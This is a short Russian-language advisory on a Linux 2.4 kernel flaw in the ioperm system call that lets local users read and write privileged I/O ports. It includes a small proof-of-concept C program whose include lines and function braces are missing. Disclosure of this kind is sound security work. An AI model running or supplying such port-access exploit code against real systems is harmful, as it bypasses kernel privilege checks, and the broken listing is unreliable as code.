Уязвимость обнаружена в Linux 2.4 ядре в системном вызове
ioperm. Локальный пользователь может получить доступ к I/O портам на системе.
Сообщается, что локальный пользователь может получить доступ на чтение и запись к привилегированным I/O портам (например, к портам 1023 и ниже). Пример - программа позволяет непривилегированному пользователю читать и записывать в I/O порты с адресом ниже 0x3ff (1023):
#include
#include
#include
int main(int argc, char **argv)
if (argc < 2) {
(void) fprintf(stderr, "Usage: %s PORT [VALUE]\n", argv[0]);
return (2);
}
if (ioperm(1023, 1, 0) == -1) {
perror("ioperm");
return (1);
}
if (argc < 3) {
(void) printf("0x%02x\n", inb(atoi(argv[1])));
} else {
outb(atoi(argv[2]), atoi(argv[1]));
}
return (0);
Уязвимость обнаружена в 2.4, prior to 2.4.21-rc2.